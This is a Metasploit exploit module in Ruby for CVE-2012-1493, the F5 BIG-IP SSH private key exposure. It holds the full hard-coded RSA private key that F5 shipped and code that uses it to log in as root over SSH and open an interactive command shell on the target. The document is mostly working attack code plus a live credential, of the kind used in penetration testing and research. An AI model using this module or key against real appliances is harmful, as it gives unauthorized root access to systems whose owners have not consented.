##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'
require 'rex/socket/ssh_factory'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP SSH Private Key Exposure',
        'Description' => %q{
          F5 ships a public/private key pair on BIG-IP appliances that allows
          passwordless authentication to any other BIG-IP box. Since the key is
          easily retrievable, an attacker can use it to gain unauthorized remote
          access as root.
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Targets' => [ [ 'Universal', {} ] ],
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Author' => ['egypt'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
          [ 'CVE', '2012-1493' ],
          [ 'OSVDB', '82780' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/25/press-f5-for-root-shell' ]
        ],
        'DisclosureDate' => '2012-06-11',
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })

    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']

    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    return false unless ssh_socket

    # Create a new session from the socket, then dump it.
    conn = Net::SSH::CommandStream.new(ssh_socket)
    ssh_socket = nil
    conn
  end

  def exploit
    conn = do_login('root')
    if conn
      print_good 'Successful login'
      handler(conn.lsock)
    end
  end

  def key_data
    <<~EOF
      -----BEGIN RSA PRIVATE KEY-----
      MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
      UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
      OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
      gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
      8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
      7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
      2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
      37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
      RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
      rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
      uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
      Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
      LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
      -----END RSA PRIVATE KEY-----
    EOF
  end
end